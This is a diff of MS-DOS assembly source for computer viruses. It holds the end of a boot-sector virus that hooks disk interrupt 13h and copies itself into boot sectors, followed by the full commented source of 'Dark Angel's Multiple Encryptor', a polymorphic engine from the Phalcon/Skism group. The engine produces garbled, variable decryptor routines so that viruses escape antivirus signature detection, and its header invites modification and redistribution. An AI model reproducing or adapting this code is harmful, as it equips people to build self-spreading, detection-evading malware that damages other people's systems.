00edh+COM_OFFSET + +;----------------------------------------------------------------------------- + +error: jmp error_will_jmp+LOW_CODE-000ebh-BOOT_OFFSET +move_to_low: mov si,offset old_jz+BOOT_OFFSET-COM_OFFSET + xor ax,ax +move_to_boot: mov cx,offset jmp_old_int_13-offset old_jz+1 + pushf + cld + rep movs byte ptr es:[di],cs:[si] + popf + ret + +;----------------------------------------------------------------------------- + +old_code: mov ax,word ptr ds:[bx+01ah] + dec ax + dec ax + mov di,BOOT_OFFSET+049h + mov bl,byte ptr ds:[di-03ch] + xor bh,bh + mul bx + add ax,word ptr ds:[di] + adc dx,word ptr ds:[di+002h] + mov bx,00700h + mov cl,003h +old_loop: pusha + call more_old_code + popa + jc error + add ax,0001h + adc dx,00h + add bx,word ptr ds:[di-03eh] + loop old_loop + mov ch,byte ptr ds:[di-034h] + mov dl,byte ptr ds:[di-025h] + mov bx,word ptr ds:[di] + mov ax,word ptr ds:[di+002h] + jmp far ptr io_sys_loads_at + +;----------------------------------------------------------------------------- + +initialize: mov bx,INITIAL_BX + mov di,LOW_CODE + push ss + pop ds + jmp short set_interrupts + +;----------------------------------------------------------------------------- + +error_will_jmp: mov bx,BOOT_OFFSET + IF DA_BOYS_TEXT + db 'DA',027h,'BOYS' + ELSE + push bx + ENDIF + mov ax,00100h + mov dx,08000h +load_from_disk: mov cx,ax + mov ax,READ_A_SECTOR + xchg ch,cl + xchg dh,dl + int DISK_INT + ret + +;----------------------------------------------------------------------------- + + org 00160h+COM_OFFSET + +;----------------------------------------------------------------------------- + +more_old_code: mov si,BOOT_OFFSET+018h + cmp dx,word ptr ds:[si] + jnb stc_return + div word ptr ds:[si] + inc dl + mov ch,dl + xor dx,dx + IF COM4_OFF + mov word ptr ds:[COM4_OFFSET],dx + ENDIF + div word ptr ds:[si+002h] + mov dh,byte ptr ds:[si+00ch] + shl ah,006h + or ah,ch + jmp short load_from_disk +stc_return: stc + ret + +;----------------------------------------------------------------------------- + + org 0181h+COM_OFFSET + ret + +;----------------------------------------------------------------------------- + +restart_it: int BOOT_INT + +;----------------------------------------------------------------------------- + +set_interrupts: cmp word ptr ds:[di],ax + jne is_resident + mov word ptr ds:[NEW_INT_13_LOOP*ADDR_MUL+TWO_BYTES],ax + xchg word ptr ds:[bx+(DISK_INT*ADDR_MUL+TWO_BYTES)-INITIAL_BX],ax + mov word ptr ds:[BIOS_INT_13*ADDR_MUL+TWO_BYTES],ax + mov ax,offset interrupt_13+LOW_CODE-offset old_jz + mov word ptr ds:[NEW_INT_13_LOOP*ADDR_MUL],ax + xchg word ptr ds:[bx+(DISK_INT*ADDR_MUL)-INITIAL_BX],ax + mov word ptr ds:[BIOS_INT_13*ADDR_MUL],ax +is_resident: jmp move_to_low + +;----------------------------------------------------------------------------- + +interrupt_13 proc far + cmp ah,high(READ_A_SECTOR) + jne jmp_old_int_13 + cmp cx,FIRST_SECTOR + jne jmp_old_int_13 + cmp dh,cl + ja jmp_old_int_13 + pusha + int BIOS_INT_13 + jc not_boot_sect + mov ax,0efe8h + xchg word ptr es:[bx+048h],ax + cmp ax,078bbh + jne not_boot_sect + mov di,bx + add di,offset old_jz-COM_OFFSET + cmp bh,high(BOOT_OFFSET) + pushf + jne no_key_press + mov byte ptr es:[di+00ch],RETURN_NEAR + pusha + call near ptr hit_any_key + popa +no_key_press: mov ax,WRITE_A_SECTOR + mov si,LOW_CODE + call move_to_boot + inc cx + int BIOS_INT_13 + popf + je restart_it +not_boot_sect: popa +interrupt_13 endp + +;----------------------------------------------------------------------------- + + org 001e5h+COM_OFFSET +jmp_old_int_13: jmp far ptr original_int_13 + +;----------------------------------------------------------------------------- + +buffer db SECTOR_SIZE dup (0) + +;----------------------------------------------------------------------------- + + org 07cedh-LOW_CODE+offset old_jz +hit_any_key label word + +;----------------------------------------------------------------------------- + +da_boys endp +cseg ends +end com_code + + diff --git a/d/DAME.ASM b/d/DAME.ASM new file mode 100755 index 0000000..c3863db --- /dev/null +++ b/d/DAME.ASM @@ -0,0 +1,1555 @@ +comment # + + Dark Angel's Multiple Encryptor + Version 0.91 + By Dark Angel of Phalcon/Skism + + This source may be freely distributed. Modifications are + encouraged and modified redistribution is allowed provided + this notice and the revision history to date are not altered. + You are free to append to the revision history and update the + usage information. + + Welcome to the source code for Dark Angel's Multiple Encryptor. + I, Dark Angel, will be your host for this short excursion through + a pretty nifty encryptor. + + DAME 0.90 (1574 bytes) + ~~~~ ~~~~ ~~~~~~~~~~~~ + Initial release. + + DAME 0.91 (1960 bytes) + ~~~~ ~~~~ ~~~~~~~~~~~~ + Source code commented. + + The user no longer needs to call the encryption routine manually; + the routine calls it automatically. This makes DAME a bit more + "user friendly." + + Garbling with two pointer registers simultaneously, i.e. [bx+di+offset] + is now supported. + + Added "double-reference" encryptions. Example: + mov ax,[bx+3212] + xor ax,3213 + mov [bx+3212],ax + + There is now a bitflag option to generate a decryptor which will transfer + control to the buffer on a paragraph boundary. + + There is now a 1% chance that no encryption will be encoded when + the "do_encrypt1" routine is called. Of course, null effect + encryptors may still be generated. + + garble_jmpcond is much more robust. It can now put valid instructions + between the conditional jump and the target of the jump. Therefore, + there is no longer a multitude of JZ $+2's and the like. Instead, they + are replaced by JZ $+4, XOR BX,BX, for example. + + The register tracker is cleared after the loop is completed. This makes + sense, since the registers are no longer needed. This also allows for the + manipulation of those used registers in the garbling after the loop is + completed. + + Encoding routines enhanced: Two-byte PUSHes and POPs and four-byte register + MOVes added. Memory PUSHes and POPs are now supported. + + The maximum nesting value is now the variable _maxnest, which can range + from 0 to MAXNEST. _maxnest is determined randomly at runtime. This makes + the decryption routines a bit more interesting. _nest is also cleared more + times during the run so that variability is continuous throughout. + + Short decryptor option added. This is automatically used when generating + the encryptor so the encryptor will always be of minimal length. + + More alignments are now possible. This makes the initial values of the + registers more flexible. + + BUG FIXES: + + BP is now preserved on exit + + Prefetch queue flushed on backwards encryption; 386+ hangs eliminated. + See routine named "clear_PIQ" + + Loopnz routines had possibility of not working properly; instruction + eliminated. + + NOTES: + + I forgot to give credit to the person from whom I stole the random number + routines. I took them from the routine embedded in TPE 1.x (I misremember + the version number). Many thanks to Masud Khafir! + + USAGE: + + ON ENTRY: + ax = flags + bit 15 : Use two registers for pointer : 0 = no, 1 = yes + bit 14 : Align size : 0 = word, 1 = dword + bit 13 : Encryption direction : 0 = forwards, 1 = backwards + bit 12 : Counter direction : 0 = forwards, 1 = backwards + bit 11 : Counter register used : 0 = no, 1 = yes + bit 10 : Temporary storage for double reference + bit 9 : Unused + bit 8 : Unused + bit 7 : Unused + bit 6 : Unused + bit 5 : Unused + bit 4 : Unused + bit 3 : return control on paragraph boundary : 1 = yes, 0 = no + bit 2 : short decryptor : 1 = yes, 0 = no (implies no garbling) + bit 1 : garble : 1 = yes, 0 = no + bit 0 : SS = DS = CS : 1 = yes, 0 = no + bx = start decrypt in carrier file + cx = encrypt length + dx = start encrypt + si = buffer to put decryption routine + di = buffer to put encryption routine + + ds = cs on entry + es = cs on entry + + RETURNS: + cx = decryption routine length + DF cleared + all other registers are preserved. + The RADIX is set to 16d. + + NOTES: + + rnd_init_seed is _not_ called by DAME. The user must explicitly call it. + + The buffer containing the routine to be encrypted should be 20 bytes + larger than the size of the routine. This allows padding to work. + + The decryption routine buffer should be rather large to accomodate the + large decryptors which may be generated. + + The encryption routine buffer need not be very large; 80h bytes should + suffice. 90d bytes is probably enough, but this value is untested. +# + +.radix 10h + +ifndef vars + vars = 2 +endif + +if not vars eq 1 ; if (vars != 1) + +_ax = 0 +_cx = 1 +_dx = 2 +_bx = 3 +_sp = 4 +_bp = 5 +_si = 6 +_di = 7 + +_es = 8 +_cs = 9 +_ss = 0a +_ds = 0bh + +; The constant MAXNEST determines the maximum possible level of nesting +; possible in any generated routine. If the value is too large, then +; recursion problems will cause a stack overflow and the program will +; crash. So don't be too greedy. 0Ah is a safe value to use for non- +; resident viruses. Use smaller values for resident viruses. +ifndef MAXNEST ; User may define MAXNEST prior to including + MAXNEST = 0a ; the DAME source code. The user's value will +endif ; then take precedence + +rnd_init_seed: + push dx cx bx + mov ah,2C ; get time + int 21 + + in al,40 ; port 40h, 8253 timer 0 clock + mov ah,al + in al,40 ; port 40h, 8253 timer 0 clock + xor ax,cx + xor dx,ax + jmp short rnd_get_loop_done +get_rand: + push dx cx bx + in al,40 ; get from timer 0 clock + db 5 ; add ax, xxxx +rnd_get_patch1 dw 0 + db 0BA ; mov dx, xxxx +rnd_get_patch2 dw 0 + mov cx,7 + +rnd_get_loop: + shl ax,1 + rcl dx,1 + mov bl,al + xor bl,dh + jns rnd_get_loop_loc + inc al +rnd_get_loop_loc: + loop rnd_get_loop + +rnd_get_loop_done: + mov rnd_get_patch1,ax + mov rnd_get_patch2,dx + mov al,dl + pop bx cx dx + retn + +reg_table1: + ; reg1 reg2 mod/00/rm This is used to handle memory addressing + db _bx, 84, 10000111b ; of the form [reg1+reg2+xxxx] + db _bp, 84, 10000110b ; if (reg2 == 84) + db _di, 84, 10000101b ; reg2 = NULL; + db _si, 84, 10000100b + + db _bp, _di, 10000011b + db _bp, _si, 10000010b + db _bx, _di, 10000001b + db _bx, _si, 10000000b + db _di, _bp, 10000011b + db _si, _bp, 10000010b + db _di, _bx, 10000001b + db _si, _bx, 10000000b + +aligntable db 3,7,0bh,0f,13,17,1bh,1f ; possible alignment masks + +redo_dame: + pop di bp si dx cx bx ax +dame: ; Dark Angel's Multiple Encryptor + cld + push ax bx cx dx si bp di + call _dame + pop di + push cx di + call di + pop di cx bp si dx bx bx ax + ret + +_dame: ; set up initial values of the variables + cld + push ax + + mov ax,offset _encryptpointer + xchg ax,di ; save the pointer to the + stosw ; encryption routine buffer + xchg si,ax ; also save the pointer to + stosw ; the decryption routine + ; buffer in the same manner + stosw + + xchg ax,dx ; starting offset of + stosw ; encryption + xchg ax,bx ; starting offset of + stosw ; decryption routine + + xchg cx,dx ; dx = encrypt size + + xor ax,ax + mov cx,(endclear1 - beginclear1) / 2; clear additional data + rep stosw ; area + + call get_rand ; get a random number + and ax,not 0f ; clear user-defined bits + + pop cx ; cx = bitmask + xor cx,ax ; randomize top bits + + call get_rand_bx ; get a random number + and bx,7 ; and lookup in the table + mov al,byte ptr [bx+aligntable] ; for a random rounding size + cbw + add dx,ax ; round the encryption + not ax ; size to next word, dword, + and dx,ax ; etc. + + mov ax,dx ; save the new encryption + stosw ; length (_encrypt_length) + + shr ax,1 ; convert to words + test ch,40 ; encrypting double wordly? + jz word_encryption ; nope, only wordly encryption + shr ax,1 ; convert to double words +word_encryption: ; all the worldly encryption + test ch,10 ; shall do thee no good, my + jnz counter_backwards ; child, lest you repent for + neg ax ; the sins of those who would +counter_backwards: ; bring harm unto others + stosw ; save _counter_value + push dx ; Save rounded length + + call get_rand ; get a random value for the + stosw ; encryption value + ; (_decrypt_value) + pop ax ; get rounded encryption length + ; in bytes + test ch,20 ; is the encryption to run + jnz encrypt_forwards ; forwards or backwards? + neg ax ; Adjust for forwards +encrypt_forwards: + xor bx,bx ; Assume pointer_value2 = 0 + + test ch,80 ; Dual pointer registers? + jz no_dual + call get_rand_bx + sub ax,bx +no_dual:stosw ; Save the pointers to the + xchg ax,bx ; decryption (_pointer_value1 + stosw ; and _pointer_value2) + +; The following lines determine the registers that go with each function. +; There are a maximum of four variable registers in each generated +; encryption/decryption routine pair -- the counter, two pointer registers, +; and an encryption value register. Only one pointer register need be present +; in the pair; the other three registers are present only if they are needed. + +s0: call clear_used_regs + mov di,offset _counter_reg + mov al,84 ; Assume no counter register + test ch,8 ; Using a counter register? + jz s1 + call get_rand ; get a random initial value + mov _pointer_value1,ax ; for the pointer register + call get_another ; get a counter register +s1: stosb ; Store the counter register + + xchg ax,dx + + mov al,84 ; Assume no encryption register + call one_in_two ; 50% change of having an + js s2 ; encryption register + ; Note: This merely serves as + ; an extra register and may or + ; may not be used as the + ; encryption register. + call get_another ; get a register to serve as +s2: stosb ; the encryption register + + cmp ax,dx ; normalise counter/encryption + ja s3 ; register pair so that the + xchg ax,dx ; smaller one is always in the +s3: mov ah,dl ; high byte + cmp ax,305 ; both BX and BP used? + jz s0 ; then try again + cmp ax,607 ; both SI and DI used? + jz s0 ; try once more + +s4: mov si,offset reg_table1 ; Use the table + mov ax,3 ; Assume one pointer register + test ch,80 ; Using two registers? + jz use_one_pointer_reg + add si,4*3 ; Go to two register table + add al,4 ; Then use appropriate mask +use_one_pointer_reg: + call get_rand_bx ; Get a random value + and bx,ax ; Apply mask to it + add si,bx ; Adjust table offset + add bx,bx ; Double the mask + add si,bx ; Now table offset is right + lodsw ; Get the random register pair + mov bx,ax ; Check if the register in the + and bx,7 ; low byte is already used + cmp byte ptr [bx+_used_regs],0 + jnz s4 ; If so, try again + mov bl,ah ; Otherwise, check if there is + or bl,bl ; a register in the high byte + js s5 ; If not, we are done + cmp byte ptr [bx+_used_regs],0 ; Otherwise, check if it is + jnz s4 ; already used +s5: stosw ; Store _pointer_reg1, + movsb ; _pointer_reg2, and + ; _pointer_rm +calculate_maxnest: + call get_rand ; Random value for _maxnest + and al,0f ; from 0 to MAXNEST + cmp al,MAXNEST ; Is it too large? + ja calculate_maxnest ; If so, try again + stosb ; Otherwise, we have _maxnest + + call clear_used_regs ; mark no registers used +encode_setup: ; encode setup portion + mov di,_decryptpointer ; (pre-loop) of the routines + call twogarble ; start by doing some garbling + ; on the decryption routine + mov si,offset _counter_reg ; now move the initial + push si ; values into each variable +encode_setup_get_another: ; register -- encode them in a + call get_rand_bx ; random order for further + ; variability + and bx,3 ; get a random register to en- + mov al,[si+bx] ; code, i.e. counter, pointer, + cbw ; or encryption value register + test al,80 ; is it already encoded? + jnz encode_setup_get_another ; then get another register + + or byte ptr [bx+_counter_reg],80 ; mark it encoded in both the + mov si,ax ; local and + inc byte ptr [si+_used_regs] ; master areas + + add bx,bx ; convert to word offset + mov dx,word ptr [bx+_counter_value] ; find value to set the + ; register to + mov _nest,0 ; clear the current nest count + call mov_reg_xxxx ; and encode decryption routine + ; instruction + call twogarble ; garble it some more + call swap_decrypt_encrypt ; now work on the encryption + ; routine + push cx ; save the current bitmap + and cl,not 7 ; encode short routines only + call _mov_reg_xxxx ; encode the encryption routine + ; instruction + pop cx ; restore bitmap + + mov _encryptpointer,di ; return attention to the + ; decryption routine + pop si + mov dx,4 +encode_setup_check_if_done: ; check if all the variables + ; have been encoded + lodsb ; get the variable + test al,80 ; is it encoded? + jz encode_setup ; nope, so continue encoding + dec dx ; else check the next variable + jnz encode_setup_check_if_done ; loop upwards + + mov si,offset _encryptpointer ; Save the addresses of the + mov di,offset _loopstartencrypt ; beginning of the loop in + movsw ; the encryption and decryption + movsw ; routines + +; Encode the encryption/decryption part of loop + mov _relocate_amt,0 ; reset relocation amount + call do_encrypt1 ; encode encryption + + test ch,40 ; dword encryption? + jz dont_encrypt2 ; nope, skip + + mov _relocate_amt,2 ; handle next word to encrypt + call do_encrypt1 ; and encrypt! +dont_encrypt2: +; Now we are finished encoding the decryption part of the loop. All that +; remains is to encode the loop instruction, garble some more, and patch +; the memory manipulation instructions so they encrypt/decrypt the proper +; memory locations. + mov bx,offset _loopstartencrypt ; first work on the encryption + push cx ; save the bitmap + and cl,not 7 ; disable garbling/big routines + call encodejmp ; encode the jmp instruction + pop cx ; restore the bitmap + + mov ax,0c3fc ; cld, ret ; encode return instruction + stosw ; in the encryption routine + + mov si,offset _encrypt_relocator ; now fix the memory + mov di,_start_encrypt ; manipulation instructions + + push cx ; cx is not auto-preserved + call relocate ; fix address references + pop cx ; restore cx + + mov bx,offset _loopstartdecrypt ; Now work on decryption + call encodejmp ; Encode the jmp instruction + push di ; Save the current pointer + call clear_used_regs ; Mark all registers unused + pop di ; Restore the pointer + call twogarble ; Garble some more + test cl,8 ; Paragraph alignment on + jnz align_paragraph ; entry to virus? + test ch,20 ; If it is a backwards + jz no_clear_prefetch ; decryption, then flush the + call clear_PIQ ; prefetch queue (for 386+) +no_clear_prefetch: ; Curse the PIQ!!!!! + call twogarble ; Garble: the final chapter + jmp short PIQ_done +align_paragraph: + mov dx,di ; Get current pointer location + sub dx,_decryptpointer2 ; Calculate offset when control + add dx,_start_decrypt ; is transfered to the carrier + inc dx ; Adjust for the JMP SHORT + inc dx + neg dx + and dx,0f ; Align on the next paragraph + cmp dl,10-2 ; Do we need to JMP? + jnz $+7 ; Yes, do it now + test ch,20 ; Otherwise, check if we need + jz PIQ_done ; to clear the prefetch anyway + call clear_PIQ_jmp_short ; Encode the JMP SHORT +PIQ_done: + mov _decryptpointer,di + + mov si,offset _decrypt_relocator ; Calculate relocation amount + sub di,_decryptpointer2 + add di,_start_decrypt +relocate: + test ch,20 ; Encrypting forwards or + jz do_encrypt_backwards ; backwards? + add di,_encrypt_length ; Backwards is /<0oI_ +do_encrypt_backwards: ; uh huh uh huh uh huh + sub di,_pointer_value1 ; Calculate relocation amount + sub di,_pointer_value2 + mov cx,word ptr [si-2] ; Get relocation count + jcxz exit_relocate ; Exit if nothing to do + xchg ax,di ; Otherwise we be in business +relocate_loop: ; Here we go, yo + xchg ax,di + lodsw ; Get address to relocate + xchg ax,di + add [di],ax ; Relocate mah arse! + loop relocate_loop ; Do it again 7 times +exit_relocate: ; ('cause that makes 8) + mov di,_decryptpointer ; Calculate the decryption + mov cx,di ; routine size to pass + sub cx,_decryptpointer2 ; back to the caller + ret + +encodejmp: + mov di,word ptr [bx+_encryptpointer-_loopstartencrypt] + + push bx + mov _nest,0 ; Reset nest count + mov al,_pointer_reg1 ; Get the pointer register + and ax,7 ; Mask out any modifications + mov dx,2 ; Assume word encryption + test ch,40 ; Word or Dword? + jz update_pointer1 + shl dx,1 ; Adjust for Dword encryption +update_pointer1: + test ch,20 ; Forwards or backwards? + jz update_pointer2 + neg dx ; Adjust for backwards +update_pointer2: + test ch,80 ; Are there two pointers? + jz update_pointer_now ; Continue only if so + + sar dx,1 ; Halve the add value + push ax ; Save register to add + call add_reg_xxxx ; Add to first register + mov al,_pointer_reg2 + and ax,7 ; Add to the second pointer + call add_reg_xxxx ; register + pop bx + test ch,8 ; Using a counter register? + jnz update_pointer_done ; If not, continue this + + push bx ; Save first register + xchg ax,dx ; Move second register to DX + call get_another ; Get new register regX + call mov_reg_reg ; MOV regX, _pointer_reg2 + pop dx ; Restore first register + call add_reg_reg ; ADD regX, _pointer_reg1 + call clear_reg ; Clear the temp register + jmp short update_pointer_done ; Skip adjustment of pointer + ; register (already done) +update_pointer_now: + call add_reg_xxxx ; Adjust pointer register +update_pointer_done: + mov dl,75 ; Assume JNZ + + mov al,_counter_reg ; Is there a counter register? + and ax,7 + cmp al,_sp + jz do_jnz + + push dx ; Save JNZ + mov dx,1 ; Assume adjustment of one + + test ch,10 ; Check counter direction + jz go_counter_forwards ; If forwards, increment the + ; counter + cmp al,_cx ; Check if the counter is CX + jnz regular ; If not, then decrement the + ; counter and continue + call one_in_two ; Otherwise, there is a 50% + js regular ; chance of using a LOOP + + pop dx + mov dl,0e2 ; let us encode the LOOP + jmp short do_jnz + +regular:neg dx +go_counter_forwards: + call add_reg_xxxx ; Adjust counter register + pop dx +do_jnz: pop bx + mov ax,[bx] ; Calculate value to JNZ/LOOP + sub ax,di ; back + dec ax + dec ax + xchg ah,al ; Value is in AL + mov al,dl ; jnz + + or ah,ah ; Value >= 128? If so, it is + js jmplocation_okay ; impossible to JNZ/LOOP there + ; due to stupid 8086 limitation + pop ax ax ; Take return locations off + jmp redo_dame ; the stack and encode again +jmplocation_okay: + stosw ; Encode JNZ/LOOP instruction + mov word ptr [bx+_encryptpointer-_loopstartencrypt],di + ret ; Save current location + +encryption: +; This routine encodes the instruction which actually manipulates the memory +; location pointed to by the pointer register. + and ch,not 4 ; Default = no double reference + call one_in_two ; But there is a 50% chance of + js not_double_reference ; using a double reference + or ch,4 ; Yes, we are indeed using it +not_double_reference: + mov di,_decryptpointer ; Set the registers to work + mov bp,offset _decrypt_relocate_num ; with the decryption routine + call twogarble ; Insert some null instructions + + xor ax,ax ; Get the value for the rm + mov al,_pointer_rm ; field corresponding to the + ; pointer register/s used + call choose_routine ; Get random decryption type + call go_next ; to DX, BX, SI + push si dx si dx ; Save crypt value/register + ; and crypt pointer +;; mov _nest,0 ; not needed - choose_routine does it + test ch,4 + jz not_double_reference1 ; Double reference? + + xchg ax,dx ; Pointer register/s to dx + call get_another ; Unused register to AX (reg1) + call mov_reg_reg ; MOV reg1,[pointer] + mov _kludge,dx ; Store the pointer register +not_double_reference1: + pop dx si ; Restore decryption pointer + call handle_jmp_table ; Encode decryption routine + push bx ; Save routine that was used + call twogarble ; Garble some more for fun + + test ch,4 + jz not_double_reference2 ; Double reference? + + xchg ax,dx ; reg1 to dx + mov ax,_kludge ; Restore pointer + push ax ; Save pointer + call mov_reg_reg ; MOV [pointer],reg1 + call clear_reg_dx ; Return reg1 to free pool + pop ax ; Restore pointer +not_double_reference2: + mov bp,offset _encrypt_relocate_num ; Set the registers to work + call swap_decrypt_encrypt ; with the encryption routine + + pop bx dx si ; Restore crypt value/register + call go_next ; Convert to encryption table + jmp short finish_encryption ; and encode the encryption + ; corresponding to the + ; decryption +do_encrypt1: ; Perform encryption on a word + call playencrypt ; Alter encryption value + call get_rand ; Have a tiny chance + cmp ax,6 ; (1% chance) of not + jb playencrypt ; encrypting at all + call encryption ; Encrypt! +playencrypt: ; Update the encryption value + mov di,_decryptpointer + call twogarble + + mov al,_encrypt_reg ; Encryption register used? + and ax,7 + cmp al,4 + jz swap_decrypt_encrypt + + call get_rand_bx ; 75% chance of altering the + cmp bl,0c0 ; encryption value register + ja swap_decrypt_encrypt ; Exit if nothing is to occur + + call choose_routine ; Select a method of updating + call handle_jmp_table_nogarble ; Encode the decryption + call swap_decrypt_encrypt ; Now work on encryption +finish_encryption: + push cx ; Save current bitmask + and cl,not 7 ; Turn off garbling/mo routines + call [bx+si+1] ; Encode the same routine for + ; the encryption + pop cx ; Restore the bitmask + mov _encryptpointer,di + ret + +choose_routine: + mov _nest,0 ; Reset recursion counter + call one_in_two ; 50% chance of using an + js get_used_register ; already used register as + ; an update value + call get_rand_bx ; Get random number as the + ; update value + mov si,offset oneregtable ; Choose the update routine + ; from this table + jmp short continue_choose_routine ; Saves one byte over + ; xchg dx,bx / ret +get_used_register: +; This routine returns, in DX, a register whose value is known at the current +; point in the encryption/decryption routines. SI is loaded with the offset +; of the appropriate table. The routine destroys BX. + call get_rand_bx ; Get a random number + and bx,7 ; Convert to a register (0-7) + cmp bl,_sp ; Make sure it isn't SP; that + jz get_used_register ; is always considered used + cmp byte ptr [bx+_used_regs],0 ; Check if the register is + jz get_used_register ; currently in use + mov si,offset tworegtable ; Use routine from this table +continue_choose_routine: + xchg dx,bx ; Move value to dx + ret ; and quit + +swap_decrypt_encrypt: + mov _decryptpointer,di ; save current pointer + push ax + mov al,_maxnest ; disable garbling + mov _nest,al + pop ax + mov di,_encryptpointer ; replace with encryption + ret ; pointer + +go_next: +; Upon entry, SI points to a dispatch table. This routine calculates the +; address of the next table and sets SI to that value. + push ax + lodsb ; Get mask byte + cbw ; Convert it to a word + add si,ax ; Add it to the current + pop ax ; location (table+1) + inc si ; Add two more to adjust + inc si ; for the mask + ret ; (mask = size - 3) + +clear_used_regs: + xor ax,ax ; Mark registers unused + mov di,offset _used_regs ; Alter _used_regs table + stosw + stosw + inc ax ; Mark SP used + stosw + dec ax + stosw + ret + +get_another: ; Get an unused register + call get_rand ; Get a random number + and ax,7 ; convert to a register +; cmp al,_sp +; jz get_another + mov si,ax + cmp [si+_used_regs],0 ; Check if used already + jnz get_another ; Yes, try again + inc [si+_used_regs] ; Otherwise mark the register + ret ; used and return + +clear_reg_dx: ; Mark the register in DX + xchg ax,dx ; unused +clear_reg: ; Mark the register in AX + mov si,ax ; unused + mov byte ptr [si+_used_regs],0 + ret + +free_regs: +; This checks for any free registers and sets the zero flag if there are. + push ax cx di + mov di,offset _used_regs + mov cx,8 + xor ax,ax + repne scasb + pop di cx ax + ret + +one_in_two: ; Gives 50% chance of + push ax ; something happening + call get_rand ; Get a random number + or ax,ax ; Sign flag set 50% of the + pop ax ; time + ret + +get_rand_bx: ; Get a random number to BX + xchg ax,bx ; Save AX + call get_rand ; Get a random number + xchg ax,bx ; Restore AX, set BX to the +return: ; random number + ret + +garble_onebyte: +; Encode a single byte that doesn't do very much, i.e. sti, int 3, etc. + xchg ax,dx ; Get the random number in AX + and al,7 ; Convert to table offset + mov bx,offset onebytetable ; Table of random bytes + xlat ; Get the byte + stosb ; and encode it + ret + +garble_jmpcond: +; Encode a random short conditional or unconditional JMP instruction. The +; target of the JMP is an unspecified distance away. Valid instructions +; take up the space between the JMP and the target. + xchg ax,dx ; Random number to AX + and ax,0f ; Convert to a random JMP + or al,70 ; instruction + stosw ; Encode it + push di ; Save current location + call garble ; May need to check if too large + mov ax,di ; Get current location + pop bx ; Restore pointer to the JMP + sub ax,bx ; Calculate the offset + mov byte ptr [bx-1], al ; Put it in the conditional + ret ; JMP + +clear_PIQ: +; Encode instructions that clear the prefetch instruction queue. +; CALL/POP +; JMP SHORT +; JMP + call get_rand ; Get a random number + mov dl,ah ; Put high byte in DL + and dx,0f ; Adjust so JMP target is + ; between 0 and 15 bytes away + and ax,3 ; Mask AX + jz clear_PIQ_call_pop ; 1/4 chance of CALL/POP + dec ax + jz clear_PIQ_jmp_short ; 1/4 chance of JMP SHORT + + mov al,0e9 ; Otherwise do a straight JMP +clear_PIQ_word: ; Handler if offset is a word + stosb ; Store the JMP or CALL + xchg ax,dx ; Offset to AX + stosw ; Encode it +clear_PIQ_byte: ; Encode AX random bytes + push cx + xchg ax,cx ; Offset to CX + jcxz random_encode_done ; Exit if no bytes in between +random_encode_loop: + call get_rand ; Get a random number + stosb ; Store it and then do this + loop random_encode_loop ; again +random_encode_done: + pop cx + ret + +clear_PIQ_jmp_short: + mov al,0ebh ; JMP SHORT + stosb ; Encode the instruction + xchg ax,dx + stosb ; and the offset + jmp short clear_PIQ_byte ; Encode intervening bytes + +clear_PIQ_call_pop: + mov al,0e8 ; CALL + call clear_PIQ_word ; Encode instruction, garbage + call garble ; Garble some and then find + call get_another ; an unused register + call clear_reg ; keep it unused + jmp short _pop ; and POP into it + +twogarble: ; Garble twice + mov _nest,0 ; Reset nest count + call garble ; Garble once +garble: ; ax, dx preserved ; Garble + call free_regs ; Are there any unused + jne return ; registers? + + test cl,2 ; Is garbling enabled? + jz return ; Exit if not + + push ax dx si + + call get_rand ; Get a random number into + xchg ax,dx ; DX + call get_another ; And a random reg into AX + call clear_reg ; Don't mark register as used + + mov si,offset garbletable ; Garble away + jmp short handle_jmp_table_nopush + +handle_jmp_table: ; ax,dx preserved ; This is the master dispatch + call garble ; Garble before encoding +handle_jmp_table_nogarble: ; Encode it + push ax dx si +handle_jmp_table_nopush: + push ax + lodsb ; Get table mask + cbw ; Clear high byte + call get_rand_bx ; Get random number + and bx,ax ; Get random routine + pop ax + + test cl,4 ; Short decryptor? + jnz doshort ; If so, use first routine + + inc _nest ; Update nest count + push ax + mov al,_maxnest + cmp _nest,al ; Are we too far? + pop ax + jb not_max_nest ; If so, then use the first +doshort:xor bx,bx ; routine in the table +not_max_nest: + push bx ; Save routine to be called + call [bx+si] ; Call the routine + pop bx si dx ax + ret + +garble_tworeg: +; Garble unused register with the contents of a random register. + mov si,offset tworegtable ; Use reg_reg table + and dx,7 ; Convert to random register # + jmp short handle_jmp_table_nogarble ; Garble away + +garble_onereg: +; Garble unused register with a random value (DX). + mov si,offset oneregtable ; Point to the table + jmp short handle_jmp_table_nogarble ; and garble + +_push: ; Encode a PUSH + or al,al ; PUSHing memory register? + js _push_mem + call one_in_two ; 1/2 chance of two-byte PUSH + js _push_mem + add al,50 ; otherwise it's really easy + stosb + ret +_push_mem: + add ax,0ff30 + jmp short go_mod_xxx_rm1 + +_pop: ; Encode a POP + or al,al ; POPing a memory register? + js _pop_mem + call one_in_two ; 1/2 chance of two-byte POP + js _pop_mem + add al,58 + stosb + ret +_pop_mem: + mov ah,8f +go_mod_xxx_rm1: + jmp mod_xxx_rm + +mov_reg_xxxx: ; ax and dx preserved + mov si,offset mov_reg_xxxx_table +go_handle_jmp_table1: + jmp short handle_jmp_table + +_mov_reg_xxxx_mov_add: + call get_rand_bx ; Get a random number + push bx ; Save it + sub dx,bx ; Adjust MOV amount + call mov_reg_xxxx ; MOV to register + pop dx ; Get random number + jmp short go_add_reg_xxxx ; Add it to the register + +_mov_reg_xxxx_mov_al_ah: + cmp al,_sp + jae _mov_reg_xxxx + push ax dx + call _mov_al_xx + pop dx ax + xchg dh,dl + jmp short _mov_ah_xx + +_mov_reg_xxxx_mov_xor: + call get_rand_bx + push bx + xor dx,bx + call mov_reg_xxxx + pop dx + jmp xor_reg_xxxx + +_mov_reg_xxxx_xor_add: + push dx + mov dx,ax + call xor_reg_reg + pop dx +go_add_reg_xxxx: + jmp add_reg_xxxx + +_mov_reg_xxxx_mov_rol: + ror dx,1 + call mov_reg_xxxx + jmp short _rol + +_mov_reg_xxxx_mov_ror: + rol dx,1 + call mov_reg_xxxx +_ror: + or al,8 +_rol: + mov ah,0d1 + jmp short go_mod_xxx_rm1 + + +_mov_reg_xxxx: + call one_in_two ; 1/2 chance of a four byte MOV + js _mov_reg_xxxx1 + + add al,0B8 + stosb + xchg ax,dx + stosw + ret +_mov_reg_xxxx1: ; Do the four byte register MOV + mov ah,0c7 + jmp mod_xxx_rm_stosw + +mov_ah_xx: +_mov_ah_xx: + add al,04 +mov_al_xx: +_mov_al_xx: + add al,0B0 + mov ah,dl + stosw + ret + +mov_reg_reg: ; ax, dx preserved + mov si,offset mov_reg_reg_table + jmp short go_handle_jmp_table1 + 